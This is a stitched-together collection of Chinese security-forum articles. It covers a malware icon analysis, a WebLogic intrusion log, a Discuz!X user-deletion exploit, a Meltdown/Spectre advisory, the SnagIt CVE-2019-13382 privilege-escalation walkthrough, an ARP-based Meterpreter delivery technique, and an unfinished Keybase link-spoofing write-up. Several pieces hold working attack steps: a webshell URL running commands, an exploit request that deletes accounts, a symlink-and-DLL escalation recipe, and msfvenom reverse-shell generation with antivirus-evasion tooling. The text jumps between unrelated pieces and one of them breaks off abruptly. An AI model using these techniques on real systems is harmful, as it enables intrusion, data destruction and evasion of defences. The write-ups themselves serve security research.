[https://www.virustotal.com/en/file/4559b52596deb7a8181df722bebcf08921b97451d944840cf6bdf0c04c1bc364/analysis/](https://www.virustotal.com/en/file/4559b52596deb7a8181df722bebcf08921b97451d944840cf6bdf0c04c1bc364/analysis/%5D\(https://www.virustotal.com/en/file/4559b52596deb7a8181df722bebcf08921b97451d944840cf6bdf0c04c1bc364/analysis/)
<https://www.virustotal.com/en/file/bf66c5ccfa0319fe695d8fe5afcb5492c909aff70748b550259ac20974a18f80/analysis/>
[https://www.virustotal.com/en/file/f2bf40f15b44a28be2d9ff5c1572a84c6ba5a8942d6c1a01aa44db51aa2d1ccb/analysis/](https://www.virustotal.com/en/file/f2bf40f15b44a28be2d9ff5c1572a84c6ba5a8942d6c1a01aa44db51aa2d1ccb/analysis/%5D\(https://www.virustotal.com/en/file/f2bf40f15b44a28be2d9ff5c1572a84c6ba5a8942d6c1a01aa44db51aa2d1ccb/analysis/)
[https://www.virustotal.com/en/file/f7c15cb91ddaebf03f523e4eed412377217b511ee8f37ba99a8d8b7832f227df/analysis/](https://www.virustotal.com/en/file/f7c15cb91ddaebf03f523e4eed412377217b511ee8f37ba99a8d8b7832f227df/analysis/%5D\(https://www.virustotal.com/en/file/f7c15cb91ddaebf03f523e4eed412377217b511ee8f37ba99a8d8b7832f227df/analysis/\))
**三、总结**
****
本文分析的这些样本很有可能只是自动生成的PE文件中的冰山一角，这些PE文件会附加伪随机的资源作为掩护资源，并且这种漏洞从未被Cerber刻意利用（不过我们很难确定这个结论）。然而，我们还是找到了从2014年到2017年时间跨度内的一些样本，这些样本使用了单一的、空白的真正单色图标，这种模式与我们自己构造的利用文件非常类似。在我们看来，这足以证明这些文件的创建者已经掌握这个漏洞，并且过去已经积极利用过这个漏洞，因为如果不是这种情况，选择使用空白图标、而不是尝试模仿已有应用的图标是没有任何价值的一件事情。
虽然这个漏洞不是一个严重的安全漏洞，但足以敦促我们保持对网络钓鱼邮件的警觉性。之前灌输给用户的安全建议同样适用于这种情况，那就是：不要打开可疑的邮件以及附件。此外，我们还建议用户勾掉“隐藏已知文件的扩展名”选项，这样能帮助我们识别可执行文件，如下图所示：
我们已于2017年6月向微软报告了这个漏洞，本文的发布经过了微软的许可。 | 社区文章 |
# 信息收集
目标 xx.xx.xx.xx
第一步肯定是收集信息
先看下端口开放信息
7001/http 8080/http 9001/http 9090/websm
结果就7001可以打开
话说Weblogic 这两年漏洞真不少
# getshell
首先测试一波弱口令 无果。。。。。。。
祭出神器测试一下反序列化漏洞
这下稳了，顺着cve编号去拿shell
cve-2019-2725
成功搞下shell
http://xx.xx.xx.xx./webshell.jsp?pwd=111&cmd=whoami
# 进内网
先看下能不能出网，很遗憾不能
能执行命令了就先上个冰蝎马，方便管理
扫一下本网段还有哪些ip
还真是个大家伙内网100多台机器
找到网站路径 上传代理脚本
/scpappbin/oracle/Middleware/user_projects/domains/ws_test/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw/war/
先扫描一下永恒之蓝吧 毕竟是内网大杀器
卧槽 一个都没有扫描出来(其实内网还有不少是win的机器)
一时间竟然没有了思路
先扫描一下开80的机器 看看能不能通过web再搞几台机器
# 待续
打开怎么会直接显示出源码？？
难道是代理的问题？
时间有限，先暂时告一段落，回头再搞他 | 社区文章 |
# Discuz!X 个人账户删除漏洞
## 环境信息
操作系统:ubuntu 16.04.9
Apache + PHP 5.6.34
数据库服务器:localhost
数据库名:Discuz
数据库用户名:root
数据库密码:root
数据表前缀:pre_
系统信箱 Email:[email protected]
## 实际测试
设置头像处,上传头像确认后抓包
`http://localhost/Discuz3.4/uc_server/index.php?m=user&inajax=1&a=rectavatar&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2BGeNoESfEmoubeoDUlckUvZMIWdTSLiuTWOmwSEqCw2BVvVl%2FxuwWYGykE7bb4lBUjznYjw7Ufd1Xqh9%2BDZF7XSX8oI&agent=133ea994f4cd4c25b454a3c6e19b841f&avatartype=virtual`
修改地址为:
`http://localhost/Discuz3.4/uc_server/uc_server/index.php?m=user&inajax=1&a=delete&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2BGeNoESfEmoubeoDUlckUvZMIWdTSLiuTWOmwSEqCw2BVvVl%2FxuwWYGykE7bb4lBUjznYjw7Ufd1Xqh9%2BDZF7XSX8oI&agent=133ea994f4cd4c25b454a3c6e19b841f&avatartype=virtual`
可以看到修改了GET参数a为delete
访问后页面回显 2
退出登录 , 重新登录后发现用户名密码不对
查看MySQL日志
SELECT uid FROM pre_ucenter_protectedmembers WHERE uid IN ('1')
DELETE FROM pre_ucenter_members WHERE uid IN('1')
DELETE FROM pre_ucenter_memberfields WHERE uid IN('1')
发现删除了两个表内 uid为1的字段
## 代码分析
## /uc_server/control/user.php
function ondelete() {
$this->init_input();
$uid = $this->input('uid');
return $_ENV['user']->delete_user($uid);
}
获取uid,并赋值给$uid 然后传入到delete_user()方法中,跟进方法
## /uc_server/model/user.php
function delete_user($uidsarr) {
$uidsarr = (array)$uidsarr;
if(!$uidsarr) {
return 0;
}
$uids = $this->base->implode($uidsarr);
$arr = $this->db->fetch_all("SELECT uid FROM ".UC_DBTABLEPRE."protectedmembers WHERE uid IN ($uids)");
$puids = array();
foreach((array)$arr as $member) {
$puids[] = $member['uid'];
}
$uids = $this->base->implode(array_diff($uidsarr, $puids));
if($uids) {
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."members WHERE uid IN($uids)");
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."memberfields WHERE uid IN($uids)");
$this->delete_useravatar($uidsarr);
$this->base->load('note');
$_ENV['note']->add('deleteuser', "ids=$uids");
return $this->db->affected_rows();
} else {
return 0;
}
}
## End | 社区文章 |
# Meltdown与Spectre：近期CPU特性漏洞安全公告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 事件描述
2018年1月4日，Jann Horn等安全研究者披露了”Meltdown”(CVE-2017-5754)和”Spectre”(CVE-2017-5753
& CVE-2017-5715)两组CPU特性漏洞。
据悉，漏洞会造成CPU运作机制上的信息泄露，低权级的攻击者可以通过漏洞来远程泄露（浏览器形式）用户信息或本地泄露更高权级的内存信息。
实际攻击场景中，攻击者在一定条件下可以做到，
* 泄露出本地操作系统底层运作信息，秘钥信息等;
* 通过获取泄露的信息，可以绕过内核(Kernel), 虚拟机超级管理器(HyperVisor)的隔离防护;
* 云服务中，可以泄露到其它租户隐私信息；
* 通过浏览器泄露受害者的帐号，密码，内容，邮箱, cookie等用户隐私信息；
目前相关的平台，厂商，软件提供商都在积极应对该系列漏洞，部分厂商提供了解决方案。
经过360安全团队评估，”Meltdown”和”Spectre”漏洞影响严重， **修复流程较复杂，建议相关企业/用户作好相关的修复评估工作** 。
## 0x01 事件影响面
### **影响面**
**漏洞风险等级严重，影响广泛：**
* 近20年的Intel, AMD, Qualcomm厂家和其它ARM的处理器受到影响；
* 因为此次CPU漏洞的特殊性，包括Linux, Windows, OSX等在内的操作系统平台参与了修复；
* Firefox, Chrome, Edge等浏览器也发布了相关的安全公告和缓解方案；
### **漏洞编号**
* Meltdown
* **CVE-2017-5754**
* Spectre漏洞
* **CVE-2017-5715**
* **CVE-2017-5753**
### **相关安全公告**
* Intel
* <https://newsroom.intel.com/news/intel-responds-to-security-research-findings/>
* [https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr)
* Microsoft
* <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002>
* Amazon
* <https://aws.amazon.com/de/security/security-bulletins/AWS-2018-013/>
* ARM
* <https://developer.arm.com/support/security-update>
* Google
* <https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html>
* <https://www.chromium.org/Home/chromium-security/ssca>
* MITRE
* <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5715>
* <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5753>
* <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5754>
* Red Hat
* <https://access.redhat.com/security/vulnerabilities/speculativeexecution>
* Xen
* <http://xenbits.xen.org/xsa/advisory-254.html>
* Mozilla
* <https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/>
* VMware
* <https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html>
* AMD
* <https://www.amd.com/en/corporate/speculative-execution>
## 0x02 漏洞信息
**注： 本段文字中部分引用了相关安全公告，如有异议请联系[email protected]。**
现代处理器（CPU）的运作机制中存在两个用于加速执行的特性，推测执行（Speculative Execution）和间接分支预测（Indirect
Branch Prediction)。
表面上看，处理器是依次顺序执行既定的处理器指令。但是，现代处理器为了更好利用处理器资源，已经开始启用并行执行，这个技术已经应用了20年左右(1995年开始)。假设，基于猜测或概率的角度，在当前的指令或分支还未执行完成前就开始执行可能会被执行的指令或分支，会发生什么？如果猜对了，直接使用，CPU执行加速了。如果猜测不正确，则取消操作并恢复到原来的现场（寄存器，内存等），结果会被忽略。整个过程过程并不会比没有猜测的时候慢，即CPU的推测执行（Speculative
Execution）技术。
不幸的是，尽管架构状态被回滚了，仍然有些副作用，比如TLB或缓存状态并没有被回滚。这些副作用随后可以被黑客通过旁道攻击(Side Channel
Attack)的方式获取到缓存的内容。如果攻击者能触发推测执行去访问指定的敏感数据区域的话，就可能可以读取到原本是其它用户或更高特权级的敏感数据。
此外，猜测过程是可以被“污染”的，攻击者可以构造出类似ROP攻击的逻辑去影响推测过程。根据作者提供的思路，主要有三种场景：
1. “边界检查绕过”：通过污染分支预测，来绕过kernel或hypervisor的内存对象边界检测。比如，攻击者可以对高权级的代码段，或虚拟环境中hypercall，通过构造的恶意代码来触发有越界的数据下标，造成越界访问。
2. “分支目标注入”： 污染分支预测。抽象模型比较好的代码往往带有间接函数指针调用的情况，CPU在处理时需要会进行必要的内存访问，这个过程有点慢，所以CPU会预测分支。攻击者可以通过类似的ROP的方式来进行信息泄露。
3. “流氓数据加载”：部分CPU上，为了速度并不是每次都对指令作权限检查的，检查的条件存在一定的缺陷；
实际攻击场景中，攻击者在一定条件下可以做到，
* 泄露出本地操作系统底层运作信息，秘钥信息等;
* 通过获取泄露的信息，可以绕过内核(Kernel), 虚拟机超级管理器(HyperVisor)的隔离防护;
* 云服务中，可以泄露到其它租户隐私信息；
* 通过浏览器泄露受害者的帐号，密码，内容，邮箱, cookie等用户隐私信息；
目前几大系统厂商各自在操作系统内核中引入了KPTI的技术，旨在和用户态的页表隔离，这样一来就可以解决”Meltdown”和”Spectre”漏洞问题。但根据相关的外部信息，这样一来可能带来5%到30%性能上的损失。
360安全团队会持续关注芯片厂商修复方案的出台。
## 0x03 安全建议
“Meltdown”和”Spectre”漏洞修复流程相对复杂，可能会有部分软件不兼容问题（如杀毒软件等）。
**360CERT建议相关企业/用户务必作好相关的修复评估工作。**
具体评估和修复工作，可以参考相关厂商的安全公告。
## 0x04 时间线
2018-01-04 Google的Jann Horn发布漏洞信息
2018-01-04 360安全团队发布预警通告
## 0x05 参考资料
* <https://meltdownattack.com/meltdown.pdf>
* <https://spectreattack.com/spectre.pdf>
* <http://xenbits.xen.org/xsa/advisory-254.html>
* [https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr)
* <https://support.microsoft.com/en-us/help/4073119/windows-client-guidance-for-it-pros-to-protect-against-speculative-exe> | 社区文章 |
# CVE-2019-13382：SnagIt本地提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 enigma0x3，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2019/07/24/cve-2019-13382-privilege-escalation-in-snagit/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞概要
每隔30-60秒，TechSmith Uploader
Service（`UploaderService.exe`）就会检查`C:\ProgramData\Techsmith\TechSmith
Recorder\QueuedPresentations`目录，查找其中是否存在`*.xml`格式的任何演示文件。如果找到匹配文件，该服务就会以`SYSTEM`权限将文件移动到`C:\ProgramData\Techsmith\TechSmith
Recorder\InvalidPresentations`目录中。
由于低权限用户具备`QueuedPresentations`以及`InvalidPresentations`目录的完整控制权限，因此用户可以在`QueuedPresentations`目录中创建无效的演示文件，然后在`InvalidPresentations`目录中为该文件名设置一个符号链接，将其指向一个特权位置。
当该服务检查演示文件时，会将文件移出`QueuedPresentations`目录，并入`InvalidPresentations`目录中。执行该操作时，该服务会访问符号链接，将新的文件写入受保护的位置，这样低权限用户就能完全控制文件内容，将权限提升至`NT
AUTHORITY\SYSTEM`。
**测试版本：** Snagit 2019.1.2 Build 3596
**测试系统：** Windows 10 1803 x64
**漏洞描述：** SnagIt Relay Classic Recorder通过不安全文件移动操作导致存在本地提权（LPE）漏洞
## 0x01 漏洞分析及利用
在分析目标软件是否存在权限提升漏洞时，想寻找合适的切入点往往并不容易，因为其中涉及到大量源于以及漏洞类别。我通常会选择从基础点切入，然后逐步往复杂性方面发展。这个过程通常涉及到许多工具，比如[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1)，该工具可以帮我们识别各种琐碎（但又常见）的错误配置情况。
如果没有找到有趣的信息，那么下一步通常是寻找逻辑漏洞，特别是能否滥用符号链接（symlink）/挂载点（mountpoint）/硬链接（hardlink）。为了快速识别能够利用的潜在链接类漏洞，我们需要准确找到OS上的某些位置，其中高权限进程（通常是`SYSTEM`权限）会与某个目录或者文件进行交互，而低权限用户具备该目录或者文件的完整控制权限。对于大多数逻辑漏洞而言，这个思路通常没问题，因为有趣的攻击路径通常与特权进程会使用低权限用户可控的资源密切相关。
在寻找这类漏洞时，我通常会使用[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)，同时过滤`SYSTEM`进程以及通常容易被滥用的文件系统路径（比如`C:\ProgramData`、`C:\Windows\Temp`以及`C:\Users\<username>\AppData`）。过滤器规则如下图所示：
应用过滤器后，观察几分钟，我们可以看到`UploaderService.exe`会查询`C:\ProgramData\Techsmith\TechSmith
Recorder\QueuedPresentations`目录，检查是否存在XML文件：
分析该目录的DACL，可以看到`BUILTIN\Users`具备写入权限：
这一点非常有趣，因为高权限`SYSTEM`进程（`UploaderService.exe`）正在查找该目录中的文件，而低权限用户却具备该目录的读写权限。了解这一点后，下一步就是为`UploaderService.exe`准备一个XML文件，看会出现什么情况。
与我们设想的一样，`UploaderService.exe`会检查`C:\ProgramData\Techsmith\TechSmith
Recorder\QueuedPresentations`目录中是否存在XML文件，最终找到我们构造的文件：
下一个问题是，`UploaderService.exe`会如何处理我们的XML文件？该程序是否会读取文件内容，还是会执行其他操作？
继续观察Process
Monitor的输出信息来解答我们这个问题。在测试环境中，`UploaderService.exe`会读取`C:\ProgramData\Techsmith\TechSmith
Recorder\QueuedPresentations`中的XML文件，判断XML演示文件是否有效。由于我们只是在XML文件中echo了`1`这个字符，因此程序会判断`1.xml`不是有效的演示文件，并将其移动到`C:\ProgramData\Techsmith\TechSmith
Recorder\InvalidPresentations\1.xml`：
观察`C:\ProgramData\Techsmith\TechSmith
Recorder\InvalidPresentations`目录，可以发现`BUILTIN\Users`同样具备读写权限：
此时，我们已经发现有个`SYSTEM`进程（`UploaderService.exe`）会在用户可控的目录中查找XML文件。发现目标文件后，该特权进程会将攻击者提供的XML文件从`QueuedPresentations`目录移动到`InvalidPresentations`目录中，同时保持原始的文件名。
为什么这个过程比较有趣？这意味着我们在文件移动操作中，有机会通过符号链接对特权文件执行写入操作。具体步骤如下：
* 在创建`C:\ProgramData\Techsmith\TechSmith Recorder\InvalidPresentations\1.xml`上创建符号链接，指向`C:\Windows\System32\ualapi.dll`
* 需要注意的是，`C:\Windows\System32\ualapi.dll`并不存在，这是我们准备以`SYSTEM`权限执行的一个DLL
* 由于当前进程具备`SYSTEM`权限，因此能够对该文件执行写入操作
* 构造一个`C:\ProgramData\Techsmith\TechSmith Recorder\QueuedPresentations\1.xml`文件
* 当`UploaderService.exe`检查`C:\ProgramData\Techsmith\TechSmith Recorder\QueuedPresentations`目录中是否存在XML文件时，会发现`1.xml`并将其移动到`C:\ProgramData\Techsmith\TechSmith Recorder\InvalidPresentations\1.xml`。在执行该操作时，目标程序会使用我们构造的符号链接，因此实际上会将文件移动到`C:\Windows\System32\ualapi.dll`，同时保持原始的DACL信息。
从理论上讲，这个操作应该能够成功，我们可以来试一下。在符号链接方面，我使用了[James
Forshaw](https://twitter.com/tiraniddo)在[Symbolic Link Testing
Tools](https://github.com/googleprojectzero/symboliclink-testing-tools)中提供的`CreateSymlink.exe`工具。我们需要做的就是在`C:\ProgramData\Techsmith\TechSmith
Recorder\InvalidPresentations\1.xml`上设置符号链接，指向`C:\Windows\System32\ualapi.dll`，然后创建`C:\ProgramData\Techsmith\TechSmith
Recorder\QueuedPresentations\1.xml`：
创建符号链接以及XML文件后，我们可以等待60秒，等`UploaderService.exe`检查`QueuedPresentations`目录。当目标程序执行该操作时，会发现我们的`1.xml`文件，尝试将其移动到`C:\ProgramDataTechSmithTechSmith
RecorderInvalidPresentations1.xml`，然而在该过程中，因为存在符号链接，程序实际上写入的是`C:\Windows\System32\ualapi.dll`：
可以发现系统中的确出现了`C:\Windows\System32\ualapi.dll`：
这一点的确很好，但正常情况下，新创建的`ualapi.dll`应该会直接继承父目录（`C:\Windows\System32`）的权限，阻止低权限用户执行写入操作。我一开始也是这么想的（在检查该文件的DACL信息前），然而`UploaderService.exe`使用的是[MoveFileW()](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefilew)。根据官方文档，`MoveFileW()`在同一个卷上移动文件时，会保持原始的DACL。
虽然官方没有明确说明，但可以推测的是，如果文件没有跨卷移动，那么DACL就会保持不变。这意味着当`UploaderService.exe`访问到`C:\ProgramData\TechSmith\TechSmith
Recorder\InvalidPresentations\1.xml`上的符号链接时，就会尝试将原始文件移动到`C:\Windows\System32\ualapi.dll`，同时保持与`1.xml`相同的DACL。由于该文件由低权限用户创建，因此根据DACL，低权限用户为文件所有者，具备`FullControl`权限：
此时，我们已经生成了`C:\Windows\System32\ualapi.dll`，并且低权限用户具备该文件写入权限。这意味着我们可以将新创建的`ualapi.dll`替换成我们自己选择的payload，这里我们选择让payload在加载时执行`cmd.exe`。
现在payload的路径为`C:\Windows\System32\ualapi.dll`，当spooler服务启动时就会加载这个DLL。就PoC而言，剩下的只需要重启主机以便重启spooler服务即可。此外，我们还可以使用[CollectorService](https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service)，在不重启主机的情况下加载这个DLL。由于这只是一个PoC，剩下的工作就留给大家来完成。
主机重启后，`spoolsv.exe`会以`SYSTEM`权限从`C:\Windows\System32\ualapi.dll`加载我们的payload，帮助我们实现权限提升。
漏洞利用过程可参考[此处视频](https://www.youtube.com/watch?v=V90JRwlaHRY&feature=youtu.be)。
SnagIt在versions
2019.1.3、2018.2.4以及13.1.7中修复了这个漏洞，对应的编号为CVE-2019-13382。官方引入的补丁在移动文件时会调用[_time64](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/time-time32-time64?view=vs-2019)，同时也会检查重解析点（`FSCTL_GET_REPARSE_POINT`）。如果存在重解析点，则执行移除重解析点操作。
## 0x02 时间线
2019年6月19日：与Capital Group的安全测试团队共同确认漏洞
2019年6月20日：开始与Capital Group处理漏洞联合披露事宜。在支持案例中请求TechSmith安全团队提供联系信息
2019年6月21日：分配新的案例，表示可以上传漏洞详细信息，将其转发给安全团队
2019年6月21日：将完整报告、PoC代码和演示视频上传到支持案例
2019年6月25日：TechSmith证实该漏洞存在并提供了临时补救建议，要求在公开披露之前告知对方
2019年6月25日：告知TechSmith我们会在首次提交报告后的90天公开披露漏洞信息，如果需要可以考虑延期
2019年7月2日：TechSmith表示已完成修复版本，将在7月底之前部署，询问我们是否需要验证补丁
2019年7月2日：告知TechSmith我们需要验证补丁
2019年7月3日：TechSmith为我们提供修复版
2019年7月9日：测试SnagIt后，我们认为补丁可以缓解问题，并通知对方
2019年7月23日：官方发布补丁发布，漏洞报告案例公开披露 | 社区文章 |
# 通过ARP流量绕过杀毒软件传输后门payload
##### 译文声明
本文是翻译文章，文章原作者 Damon Mohammadbagher，文章来源：peerlyst.com
原文地址：<https://www.peerlyst.com/posts/transfer-backdoor-payloads-by-arp-traffic-and-bypassing-avs-damon-mohammadbagher>
译文仅供参考，具体内容表达以及含义原文为准。
本文介绍了如何在网络中使用ARP来实现Payload传输。值得说明的是，大多数反病毒软件都无法检测到后门payload。
在解释此技术之前，本文将首先介绍ARP协议在网络中的工作原理。
## 0x01 ARP工作原理
如图一所示（ARP，step1），机器A广播消息到所有工作站来询问IP地址的所有者(如192.168.1.5)，并期望接收到其对应的MAC地址
在step2中，机器B发送一个响应包到机器A,告诉机器A,192.168.1.5是我机器B，并告诉机器A自己的MAC地址。这一步是本文的重点，是使用ARP传输payload的技术点所在。
Step3与本文的技术无关，不再赘述。
## 0x02 如何通过ARP传输payload
攻击者可以通过MAC地址传输他们的字节码，利用这种方法黑客可以有效地隐蔽传输病毒和payload。当然应用这种技术传输非常缓慢，但有时这是一个优点，可以有效避免过快的传输被目标运维人员发现。并且此技术成功建立连接的时间并不重要，因为你的服务器或客户机(尤其是服务器)24小时都在运行。
想要执行该攻击，一个攻击者往往需要两台计算机。第一个系统是linux，记为攻击机A，第二个系统是Win7-SP1
(可以任意改变MAC地址)，记为攻击机B。被攻击目标系统也是Win7-SP1。
在攻击过程中，目标系统是将被植入后门的系统，它首先发送ARP请求包询问192.168.1.5的MAC地址，然后我们的攻击机B回复该ARP请求，并伪造MAC地址，注意，此处的MAC包的数据为攻击机A产生的攻击payload（具体路由为攻击机A(192.168.1.50)发送payload（伪造的MAC包）->攻击机B(192.168.1.5)->目标机器(192.168.1.113)）。通过不断地发送返回的MAC包最终在目标系统上成功植入后门，我将会得到一个由目标机器(192.1618.1.113)返回到攻击机A(192.168.1.50)的Meterpreter
Session。在本文的实验中，成功植入后门花费了37分钟。
## 0x03 攻击可能出现的问题
该攻击虽然攻击耗时较长，但是可以成功攻击。不过该攻击需要实现还需要一些前提。在解释问题所在之前，首先我会用一个简单的例子向你展示我的代码是如何工作的:
### 1.注入payload字节
如图3中第一行所示，我们有一个MAC地址：00fc4883e4f0，这个MAC地址有两个部分，第一个部分是 00 , 第二个部分是fc4883e4f0 。
第二部分是Meterpreter payload第一行的第一部分字节，它不是一个MAC地址，但可以像MAC地址一样在ARP传输中使用。
通过我编写的工具“Payload_to_Mac.exe”使得设置和改变NIC网络接口连接MAC变得非常简单。这个工具的工作原理类似于Linux系统中的MAC变址系统。对于图3中的第1行使用这个工具，可以设置MAC地址00fc4883e4f0为“Local
Area Connection（本地连接）”
为什么我们需要这样做？
因为我们想用注入的mac地址来回复ARP请求。
到目前为止我们的条件有：
* 本地连接<=>MAC变址系统
* 被入侵的系统<=>后门系统
接收到这三个响应后，我们可以dump出这些payload:
`{fc4883e4f0+e8cc000000+4151415052}==fc4883e4f0e8cc0000004151415052`
被后门入侵的系统（目标机器）IP地址为192.168.1.113，攻击者的win7-sp1系统（攻击机B）的IP地址为192.168.1.5。现在请对比一下图三和图四，可以看到这是在本攻击中通过ARP传输payload的ARP流量情况
注意：Arpspoof，etthercap工具在linux系统中,使用工具Arpspoof的流量可能会被反病毒软件或者防火墙检测到,但是通过本文的方法在网络中或者在目标入侵系统中被反病毒软件或防火墙检测到的风险非常低。
注意：MAC的复制可能会出现问题，通过图6中的技术，可以降低这种风险。
### 2.攻击中可能出现的问题
现在我们有了响应后的payloads:
`{fc4883e4f0 + 000c4dabc000 + e8cc000000 + 4151415052} ==
fc4883e4f0000c4dabc000e8cc0000004151415052`
如图5所示，有红色标出的Mac地址，现在的payload是不正确的。
那么如何解决这个问题呢? 如图6所示
可以将payload从两个部分更改为三个部分：
`00{payload}——>{payload}00 00 f0`
现在你可以检查后门代码中新的部分，当你收到一个没有第三部分的MAC地址，你的代码应该丢弃这个MAC地址。因为这是未知的响应，所以这不是有效payload。
现在可以开始利用工具进行攻击，但首先应该生成payload：在kali
linux系统中，可以使用msfvenom来生成payload。其IP地址是192.168.1.50。
msfvenom –arch x86_64 –platform windows –p windows/x64/meterpreter/reverse_tcp lhsot=192.168.1.50 –f c > /root/desktop/payload.txt
接下来将payload.txt用图7所示的格式，从linux系统复制到IP地址为 192.168.1.5的攻击机B
使用Payload_to_Mac.exe工具：
现在使用图7中的payload和图8中的工具，这样就可以从payload.txt中复制payload，然后将其粘贴到工具Payload_to_Mac.exe上。
执行命令：
Payload_to_Mac.exe null payload
注意：这里需要以管理员身份运行cmd才能更改MAC地址。
不带选项运行工具的情况下，可以看到这个工具的命令选项说明。
在下图中你将会看到我使用null+PAYLOAD的命令
现在复制cmd中的所有行并粘贴到一个BAT文件中，例如图9所示Macchanger.BAT。同样地，也应该用管理员身份运行它。
在此步骤中，应该在第一行中添加如图9所示的MAC地址。
这个MAC地址是在我的代码中开始ARP传输的标志，所以应该手动添加这一行并保存。
接下来这一步如图10在文件最后一行添加新行。
这个MAC地址是完成ARP传输的标志。
现在，在这个步骤中，你应该检查网络适配器和注册表Regkey_Parent中的这些属性：要在Win7中更改mac地址，需要在windows中通过以下路径找到注册表地址：`"SYSTEMCurrentControlSetControlClass{4D36E972-E325-11CE-BFC1-08002BE10318}"`
检查完这条路径后你应该找到你的`Parent_Regkey`，在这个例子中，对于我的windows系统`Parent_Regkey`是0007，如图11所示。在0007中找到了我的NIC
`"Driver Desc "`
Driver Desc = Intel® PRO/1000 MT Network
可以看到我的网络连接`Local Area Connection`属性与这个`Regkey`相同，都是`Intel®PRO/1000 MT
Network`，所以我正确的Parent_REGKEY就是0007。但并不是所有的Windows系统都是一样的，所以可能在你的系统中这个数字是不同的。最后，我应该一行一行地将BAT文件中的所有`Connection
Name`从`Local Network Connection`更改为`Local Area Connection`。
注意：记住`Local Area Connection`IP地址静态等于192.168.1.5
在本例中，你应该使用静态IP地址 192.168.1.5，在图11中，你可以看到这些属性取决于你的windows系统设置
注意:如果在BAT文件中的设置与注册表和NIC名称不匹配，此工具无法更改Mac地址。
设置Payload_to_mac.exe完成后，应该在目标机器上运行NativePayload_ARP.exe后再在攻击机B上运行Payload_to_mac.exe，这是关键点。
接下来应该通过NativePayload_ARP.exe传输带有ARP流量的 Meterpreter payload然后在目标机器上运行它。
## 0x04 NativePayload_app.exe使用步骤:
步骤1:
使用如图12这样的工具（不带参数）:
运行此工具后，你可以输入IP地址，将ARP流量发送到此IP (攻击机B)(本例中为192.168.1.5)，然后回车。
接下来，应该输入你的本地IP地址（目标机器），以便通过这个IP地址发送ARP请求，然后回车。
在本例中，本地IP地址是192.168.1.113，这是目标系统的IP地址。注意:目标系统IP地址是(192.168.1.113)，
NativePayload_app .exe在目标系统上运行，如图12所示。
最后在38分钟后，Meterpreter session建立，如图13所示。
我拥有世界上最好的杀毒软件，但是我的payload流量都没经过加密就可以把他绕过了。如图14所示，通过这种技术绕过了Kaspersky。
但是请注意，这个脚本只适用于Llinux系统
## 0x05 相关资源
图15中的脚本：
（[https://www.peerlyst.com/posts/simple-way-for-transferring-data-via-arp-traffic-linux-only-damon-mohammadbagher）](https://www.peerlyst.com/posts/simple-way-for-transferring-data-via-arp-traffic-linux-only-damon-mohammadbagher%EF%BC%89)
Github源代码(Beta）:
（[http://github.com/DamonMohammadbagher/NativePayload_ARP）](http://github.com/DamonMohammadbagher/NativePayload_ARP)
攻击视频:
（[https://youtu.be/qDLicXj7Vuk）](https://youtu.be/qDLicXj7Vuk%EF%BC%89) | 社区文章 |
# TL;DR
用户可以[keybase客户端](https://keybase.io/download
"keybase客户端")对话框中发送任意聊天链接。在Windows平台中，通过keybase客户端给受害者发送一个明显无害的链接，当单击该链接时，可以在受害者系统上执行任意命令。
# keybase介绍
keybase类似于slack，是一个用来聊天、文件共享的软件，但它的安全防护明显更胜一筹。
Keybase上的一切都被加密了，让用户在云上同步私人文件的时候可以放一百个心。
由于它的安全特性和[NCC Group的安全审计结果](https://keybase.io/docs-assets/blog/NCC_Group_Keybase_KB2018_Public_Report_2019-02-27_v1.3.pdf "NCC
Group的安全审计结果")，我成为了一名忠实的Keybase用户。
# 恍然发现1.0——bug初显
在我的一次聊天中，我突然发现了一个奇怪的keybase反应。我向[@Th3Zer0](https://twitter.com/Th3Zer0
"@Th3Zer0")和[@Paupu_95](https://twitter.com/Paupu_95
"@Paupu_95")发送了一个电子邮件地址，我用两个反引号括起来了这个地址，
`
`[email protected]`
但我发送出去的时候，文本转换成了这个丫子
`$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$
习惯使用base64编码的人可能已经注意到字符串的“ey”开头，这说明这里存在一个base64编码的JSON字符串：
{"typ":5,"mailto":{"display":"[email protected]","url":"mailto:[email protected]","punycode":""}}.
作为一名安全行业从业人员，这种发现立即挑拨了我们的心弦，接下来的对话就是各种反引号和各种URI，我们发现http URI也是以同样的方式被窃听的。
# 如果？
如果我们可以创建以下格式的链接，会发生神马？
{"typ":4,"link":{"display":"http://shielder.it","url":"http://evil.it","punycode":""}}
我尝试了很多方法，但都失败了。
通过keybase GUI client发送`$>kb$<base64_string>$<kb$`。
通过keybase CLI client发送`$>kb$<base64_string>$<kb$`。
通过keybase mobile client发送`$>kb$<base64_string>$<kb$`
# 恍然发现2.0——bug再探
